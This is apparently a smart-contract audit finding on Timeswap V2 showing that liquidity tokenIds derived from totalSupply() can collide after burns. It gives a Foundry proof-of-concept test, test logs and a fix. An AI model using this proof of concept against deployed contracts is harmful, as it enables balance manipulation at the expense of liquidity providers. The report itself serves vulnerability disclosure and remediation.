[Lines of code](https://github.com/code-423n4/2023-01-timeswap/blob/main/packages/v2-token/src/TimeswapV2LiquidityToken.sol#L114) # Vulnerability details ## Impact Assuming ERC1155Enumerable is acting normally, there is a **Accounting Issue** about TimeswapV2LiquidityToken and TimeswapV2Token's tokenId. Different liquidities can have the same tokenId, leading to serious balance manipulation. I'm submitting this issue as medium because current implementation ERC1155Enumerable is wrong, which exactly mitigate this issue making it not exploitable. But this issue will become dangerous once we fixed ERC1155Enumerable. ## Proof of Concept In this PoC, the attacker will do these steps: 1. Add liquidity of token0 and token1, thus receive TimeswapV2LiquidityToken tokenId 1. 2. Add liquidity of token2 and token3, thus receive TimeswapV2LiquidityToken tokenId 2. 3. Burn his liquidity from step1, which will make totalSupply decrease (if ERC1155Enumerable has been patched) 4. Add liquidity of token4 and token5, and receive TimeswapV2LiquidityToken tokenId 2. This is wrong tokenId, which should be 3. Explanation: As the comment said if the position does not exist, create it, but the new tokenId is set as totalSupply() + 1 Function totalSupply is defined in packages/v2-token/src/base/ERC1155Enumerable.sol, which is simply _allTokens.length: _allTokens.length can be decreased in _removeTokenFromAllTokensEnumeration function, which is called by _removeTokenEnumeration, and by _afterTokenTransfer. In simple words, when all token amounts for a specific tokenId are burned (_idTotalSupply[id] == 0), totalSupply should be decreased. Current implementation of ERC1155Enumerable has a bug, which will never trigger _removeTokenFromAllTokensEnumeration: Calling _removeTokenEnumeration needs amount>0, but only _idTotalSupply[id] == 0 can trigger _removeTokenFromAllTokensEnumeration. function _removeTokenEnumeration(address from, address to, uint256 id, uint256 amount) internal { if (to == address(0)) { if (_idTotalSupply[id] == 0 && _additionalConditionRemoveTokenFromAllTokensEnumeration(id)) _removeTokenFromAllTokensEnumeration(id); _idTotalSupply[id] -= amount; } Once the above code get fixed(swapping the if line and _idTotalSupply[id] -= amount; line, patch given below), this issue becomes exploitable, making the accounting of LP wrong. * * * PoC steps: First, we need to patch two contract: * making TimeswapV2LiquidityToken's _timeswapV2LiquidityTokenPositionIds as public for testing, this can be removed when depolying * ERC1155Enumerable's _removeTokenEnumeration has been patched to behave correctly, which will decrease totalSupply when all token amount of a specific tokenId has been burned. diff --git a/packages/v2-token/src/TimeswapV2LiquidityToken.sol b/packages/v2-token/src/TimeswapV2LiquidityToken.sol index 2f71a25..f3910d9 100644 --- a/packages/v2-token/src/TimeswapV2LiquidityToken.sol +++ b/packages/v2-token/src/TimeswapV2LiquidityToken.sol @@ -42,7 +42,7 @@ contract TimeswapV2LiquidityToken is ITimeswapV2LiquidityToken, ERC1155Enumerabl mapping(uint256 => TimeswapV2LiquidityTokenPosition) private _timeswapV2LiquidityTokenPositions; - mapping(bytes32 => uint256) private _timeswapV2LiquidityTokenPositionIds; + mapping(bytes32 => uint256) public _timeswapV2LiquidityTokenPositionIds; mapping(uint256 => mapping(address => FeesPosition)) private _feesPositions; diff --git a/packages/v2-token/src/base/ERC1155Enumerable.sol b/packages/v2-token/src/base/ERC1155Enumerable.sol index 4ec23ff..4f51fb4 100644 --- a/packages/v2-token/src/base/ERC1155Enumerable.sol +++ b/packages/v2-token/src/base/ERC1155Enumerable.sol @@ -91,8 +91,8 @@ abstract contract ERC1155Enumerable is IERC1155Enumerable, ERC1155 { /// @dev Remove token enumeration list if necessary. function _removeTokenEnumeration(address from, address to, uint256 id, uint256 amount) internal { if (to == address(0)) { - if (_idTotalSupply[id] == 0 && _additionalConditionRemoveTokenFromAllTokensEnumeration(id)) _removeTokenFromAllTokensEnumeration(id); _idTotalSupply[id] -= amount; + if (_idTotalSupply[id] == 0 && _additionalConditionRemoveTokenFromAllTokensEnumeration(id)) _removeTokenFromAllTokensEnumeration(id); } if (from != address(0) && from != to) { Add a new test file in 2023-01-timeswap/packages/v2-token/test/TimeswapV2LiquidityToken_MultiMint.t.sol: // SPDX-License-Identifier: UNLICENSED pragma solidity =0.8.8; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "../src/TimeswapV2LiquidityToken.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@timeswap-labs/v2-option/src/TimeswapV2OptionFactory.sol"; import "@timeswap-labs/v2-option/src/interfaces/ITimeswapV2Option.sol"; import {TimeswapV2LiquidityTokenCollectParam} from "../src/structs/Param.sol"; import "@timeswap-labs/v2-pool/src/TimeswapV2PoolFactory.sol"; import "@timeswap-labs/v2-pool/src/interfaces/ITimeswapV2Pool.sol"; import {TimeswapV2PoolMintParam} from "@timeswap-labs/v2-pool/src/structs/Param.sol"; import {TimeswapV2PoolMintChoiceCallbackParam, TimeswapV2PoolMintCallbackParam} from "@timeswap-labs/v2-pool/src/structs/CallbackParam.sol"; import {TimeswapV2OptionMintCallbackParam, TimeswapV2OptionSwapCallbackParam} from "@timeswap-labs/v2-option/src/structs/CallbackParam.sol"; // import "@timeswap-labs/v2-option/src/TimeswapV2OptionFactory.sol"; // // import "@timeswap-labs/v2-option/src/interfaces/ITimeswapV2Option.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import {TimeswapV2LiquidityTokenPosition, PositionLibrary} from "../src/structs/Position.sol"; import {TimeswapV2PoolMint} from "@timeswap-labs/v2-pool/src/enums/Transaction.sol"; import {TimeswapV2OptionMint} from "@timeswap-labs/v2-option/src/enums/Transaction.sol"; import {StrikeConversion} from "@timeswap-labs/v2-library/src/StrikeConversion.sol"; import {DurationCalculation} from "@timeswap-labs/v2-pool/src/libraries/DurationCalculation.sol"; import {FullMath} from "@timeswap-labs/v2-library/src/FullMath.sol"; contract HelperERC20 is ERC20 { constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) { _mint(msg.sender, type(uint256).max); } } struct Timestamps { uint256 maturity; uint256 timeNow; } struct MintOutput { uint160 liquidityAmount; uint256 long0Amount; uint256 long1Amount; uint256 shortAmount; bytes data; } contract TimeswapV2LiquidityTokenTest is Test, ERC1155Holder { ITimeswapV2Option opPair; ITimeswapV2Option opPair2; ITimeswapV2Option opPair3; ITimeswapV2Option opPairCurrent; TimeswapV2OptionFactory optionFactory; TimeswapV2PoolFactory poolFactory; ITimeswapV2Pool pool; ITimeswapV2Pool pool2; ITimeswapV2Pool pool3; ITimeswapV2Pool poolCurrent; using PositionLibrary for TimeswapV2LiquidityTokenPosition; uint256 chosenTransactionFee = 5; uint256 chosenProtocolFee = 4; HelperERC20 token0; HelperERC20 token1; HelperERC20 token2; HelperERC20 token3; HelperERC20 token4; HelperERC20 token5; HelperERC20 token0Current; HelperERC20 token1Current; TimeswapV2LiquidityToken mockLiquidityToken; function timeswapV2PoolMintChoiceCallback(TimeswapV2PoolMintChoiceCallbackParam calldata param) external returns (uint256 long0Amount, uint256 long1Amount, bytes memory data) { vm.assume(param.longAmount < (1 << 127)); long0Amount = StrikeConversion.turn(param.longAmount / 2, param.strike, false, true) + 1; long1Amount = StrikeConversion.turn(param.longAmount / 2, param.strike, true, true) + 1; vm.assume( param.longAmount < StrikeConversion.combine(long0Amount, long1Amount, param.strike, false) && param.shortAmount < StrikeConversion.combine(long0Amount, long1Amount, param.strike, false) ); } function timeswapV2PoolMintCallback(TimeswapV2PoolMintCallbackParam calldata param) external returns (bytes memory data) { // have to transfer param.long0Amount, param.long1Amount and param.short to msg.sender console.log(param.long0Amount, param.long1Amount); TimeswapV2OptionMintParam memory mparam = TimeswapV2OptionMintParam({ strike: param.strike, maturity: param.maturity, long0To: msg.sender, long1To: msg.sender, shortTo: msg.sender, transaction: TimeswapV2OptionMint.GivenTokensAndLongs, amount0: param.long0Amount, amount1: param.long1Amount, data: "" }); opPairCurrent.mint(mparam); console.log("opPair mint ok"); } function timeswapV2OptionMintCallback(TimeswapV2OptionMintCallbackParam calldata param) external returns (bytes memory data) { data = param.data; //console.log("token0 bal:", token0.balanceOf(address(this))); //console.log("token1 bal:", token1.balanceOf(address(this))); token0Current.transfer(msg.sender, param.token0AndLong0Amount); token1Current.transfer(msg.sender, param.token1AndLong1Amount); } function timeswapV2LiquidityTokenMintCallback(TimeswapV2LiquidityTokenMintCallbackParam calldata param) external returns (bytes memory data) { TimeswapV2PoolMintParam memory param1 = TimeswapV2PoolMintParam({ strike: param.strike, maturity: param.maturity, to: address(this), transaction: TimeswapV2PoolMint.GivenLiquidity, delta: param.liquidityAmount, data: ""} ); poolCurrent.mint(param1); poolCurrent.transferLiquidity(param.strike, param.maturity, msg.sender, param.liquidityAmount); data = bytes(""); } function setUp() public { optionFactory = new TimeswapV2OptionFactory(); token0 = new HelperERC20("Token A", "A"); token1 = new HelperERC20("Token B", "B"); token2 = new HelperERC20("Token C", "C"); token3 = new HelperERC20("Token D", "D"); token4 = new HelperERC20("Token E", "E"); token5 = new HelperERC20("Token F", "F"); if (address(token1) < address(token0)) { (token0, token1) = (token1, token0); } if (address(token3) < address(token2)) { (token2, token3) = (token3, token2); } if (address(token5) < address(token4)) { (token4, token5) = (token5, token4); } address opAddress = optionFactory.create(address(token0), address(token1)); opPair = ITimeswapV2Option(opAddress); address opAddress2 = optionFactory.create(address(token2), address(token3)); opPair2 = ITimeswapV2Option(opAddress2); address opAddress3 = optionFactory.create(address(token4), address(token5)); opPair3 = ITimeswapV2Option(opAddress3); poolFactory = new TimeswapV2PoolFactory(address(this), chosenTransactionFee, chosenProtocolFee); pool = ITimeswapV2Pool(poolFactory.create(opAddress)); pool2 = ITimeswapV2Pool(poolFactory.create(opAddress2)); pool3 = ITimeswapV2Pool(poolFactory.create(opAddress3)); mockLiquidityToken = new TimeswapV2LiquidityToken(address(optionFactory), address(poolFactory)); } function testMint(uint256 strike, uint160 amt, uint256 maturity, uint160 rate, address to) public { setUp(); // vm.assume(strike != 0 && (maturity < type(uint96).max) && (maturity > 10000) && amt > 100 && delta != 0 && rate != 0); vm.assume(to != address(0)); vm.assume( maturity < type(uint96).max && amt < type(uint160).max && amt != 0 && to != address(0) && strike != 0 && maturity > block.timestamp && maturity > 10000 && rate>0 ); console.log("init"); pool.initialize(strike, maturity, rate); pool2.initialize(strike, maturity, rate); pool3.initialize(strike, maturity, rate); //TimeswapV2PoolMintParam memory param = TimeswapV2PoolMintParam({strike: strike, maturity: maturity, to: address(this), transaction: TimeswapV2PoolMint.GivenLiquidity, delta: amt, data: ""}); //MintOutput memory response; //(response.liquidityAmount, response.long0Amount, response.long1Amount, response.shortAmount, response.data) = pool.mint(param); uint256 id1; uint256 id2; { token0Current = token0; token1Current = token1; poolCurrent = pool; opPairCurrent = opPair; TimeswapV2LiquidityTokenMintParam memory liqTokenMintParam = TimeswapV2LiquidityTokenMintParam({ token0: address(token0Current), token1: address(token1Current), strike: strike, maturity: maturity, to: address(this), liquidityAmount: amt, data: "" }); mockLiquidityToken.mint(liqTokenMintParam); //console.log(mockLiquidityToken.balanceOf(address(this))); TimeswapV2LiquidityTokenPosition memory timeswapV2LiquidityTokenPosition = TimeswapV2LiquidityTokenPosition({ token0: address(token0Current), token1: address(token1Current), strike: strike, maturity: maturity }); bytes32 key1 = timeswapV2LiquidityTokenPosition.toKey(); id1 = mockLiquidityToken._timeswapV2LiquidityTokenPositionIds(key1); console.log("key1:"); console.logBytes32(key1); console.log("id1:", id1); assertEq(mockLiquidityToken.balanceOf(address(this), id1), amt); assertEq(mockLiquidityToken.totalSupply(), 1); //console.log("_idTotalSupply id1:", mockLiquidityToken._idTotalSupply(id1)); console.log("========"); } { token0Current = token2; token1Current = token3; poolCurrent = pool2; opPairCurrent = opPair2; TimeswapV2LiquidityTokenMintParam memory liqTokenMintParam2 = TimeswapV2LiquidityTokenMintParam({ token0: address(token0Current), token1: address(token1Current), strike: strike, maturity: maturity, to: address(this), liquidityAmount: amt, data: "" }); mockLiquidityToken.mint(liqTokenMintParam2); //console.log(mockLiquidityToken.balanceOf(address(this))); TimeswapV2LiquidityTokenPosition memory timeswapV2LiquidityTokenPosition2 = TimeswapV2LiquidityTokenPosition({ token0: address(token0Current), token1: address(token1Current), strike: strike, maturity: maturity }); bytes32 key2 = timeswapV2LiquidityTokenPosition2.toKey(); id2 = mockLiquidityToken._timeswapV2LiquidityTokenPositionIds(key2); console.log("key2:"); console.logBytes32(key2); console.log("id2:", id2); assertEq(mockLiquidityToken.balanceOf(address(this), id2), amt); assertEq(mockLiquidityToken.totalSupply(), 2); console.log("========"); } TimeswapV2LiquidityTokenBurnParam memory burnParam = TimeswapV2LiquidityTokenBurnParam({ token0: address(token0), token1: address(token1), strike: strike, maturity: maturity, to: address(this), liquidityAmount: amt, data: "" }); mockLiquidityToken.burn(burnParam); console.log("balanceOf id1:", mockLiquidityToken.balanceOf(address(this), id1)); //console.log("_idTotalSupply id1:", mockLiquidityToken._idTotalSupply(id1)); console.log("current totalSupply():", mockLiquidityToken.totalSupply()); { token0Current = token4; token1Current = token5; poolCurrent = pool3; opPairCurrent = opPair3; TimeswapV2LiquidityTokenMintParam memory liqTokenMintParam3 = TimeswapV2LiquidityTokenMintParam({ token0: address(token0Current), token1: address(token1Current), strike: strike, maturity: maturity, to: address(this), liquidityAmount: amt, data: "" }); mockLiquidityToken.mint(liqTokenMintParam3); //console.log(mockLiquidityToken.balanceOf(address(this))); TimeswapV2LiquidityTokenPosition memory timeswapV2LiquidityTokenPosition3 = TimeswapV2LiquidityTokenPosition({ token0: address(token0Current), token1: address(token1Current), strike: strike, maturity: maturity }); bytes32 key3 = timeswapV2LiquidityTokenPosition3.toKey(); uint256 id3 = mockLiquidityToken._timeswapV2LiquidityTokenPositionIds(key3); console.log("key3:"); console.logBytes32(key3); console.log("id3:", id3); //assertEq(mockLiquidityToken.balanceOf(address(this), id3), amt); if (id2 == id3) {revert("id3 should not equal to id2");} console.log("========"); } console.log("yo"); } } Here is the log for the above test: forge test --match-path test/TimeswapV2LiquidityToken_MultiMint.t.sol -vv Running 1 test for test/TimeswapV2LiquidityToken.t.sol:TimeswapV2LiquidityTokenTest [FAIL. Reason: id3 should not equal to id2 Counterexample: calldata=0x31b83c070000000000000000000000000000000000000000000000000000000000000d77000000000000000000000000000000000000000000000000000000000000234100000000000000000000000000000000000000000000000000000000277c306f00000000000000000000000000000000000000000000000000000000000032e0000000000000000000000000000000000000000000000000000000000000025f, args=[3447, 9025, 662450287, 13024, 0x000000000000000000000000000000000000025F]] testMint(uint256,uint160,uint256,uint160,address) (runs: 0, μ: 0, ~: 0) Logs: init 2709883200956651719220887728062100075977988725238523898809710331 27450636006266724768954781627 opPair mint ok key1: 0x3ad1cfe6142808456d576d32877db082ef58ce80e40fb5019d9e5f73aebfde46 id1: 1 ======== 2709883200956651719220887728062100075977988725238523898809710331 27450636006266724768954781627 opPair mint ok key2: 0x4b911bdfb2c97775c28fae58288d53335ea7b59d3675acf0460ff4083897e18c id2: 2 ======== balanceOf id1: 0 current totalSupply(): 1 2709883200956651719220887728062100075977988725238523898809710331 27450636006266724768954781627 opPair mint ok key3: 0x6b43d3a16273d9e9f13739b825952b03e59127b9d41c4e0d9d58d635e8d2f5d2 id3: 2 Test result: FAILED. 0 passed; 1 failed; finished in 91.76ms Failing tests: Encountered 1 failing test in test/TimeswapV2LiquidityToken.t.sol:TimeswapV2LiquidityTokenTest [FAIL. Reason: id3 should not equal to id2 Counterexample: calldata=0x31b83c070000000000000000000000000000000000000000000000000000000000000d77000000000000000000000000000000000000000000000000000000000000234100000000000000000000000000000000000000000000000000000000277c306f00000000000000000000000000000000000000000000000000000000000032e0000000000000000000000000000000000000000000000000000000000000025f, args=[3447, 9025, 662450287, 13024, 0x000000000000000000000000000000000000025F]] testMint(uint256,uint160,uint256,uint160,address) (runs: 0, μ: 0, ~: 0) Encountered a total of 1 failing tests, 0 tests succeeded ## Tools Used Manual code reading ## Recommended Mitigation Steps Do not use totalSupply() or other maybe-decreasing variables for new tokenId. Patch file can be like this: diff --git a/packages/v2-token/src/TimeswapV2LiquidityToken.sol b/packages/v2-token/src/TimeswapV2LiquidityToken.sol index 2f71a25..94e4006 100644 --- a/packages/v2-token/src/TimeswapV2LiquidityToken.sol +++ b/packages/v2-token/src/TimeswapV2LiquidityToken.sol @@ -32,6 +32,7 @@ contract TimeswapV2LiquidityToken is ITimeswapV2LiquidityToken, ERC1155Enumerabl address public immutable optionFactory; address public immutable poolFactory; + uint256 public tokenIdCounter; constructor(address chosenOptionFactory, address chosenPoolFactory) ERC1155("Timeswap V2 uint160 address") { optionFactory = chosenOptionFactory; @@ -111,7 +112,7 @@ contract TimeswapV2LiquidityToken is ITimeswapV2LiquidityToken, ERC1155Enumerabl // if the position does not exist, create it if (id == 0) { - id = totalSupply() + 1; + id = ++tokenIdCounter; _timeswapV2LiquidityTokenPositions[id] = timeswapV2LiquidityTokenPosition; _timeswapV2LiquidityTokenPositionIds[key] = id; } --- The text was updated successfully, but these errors were encountered: All reactions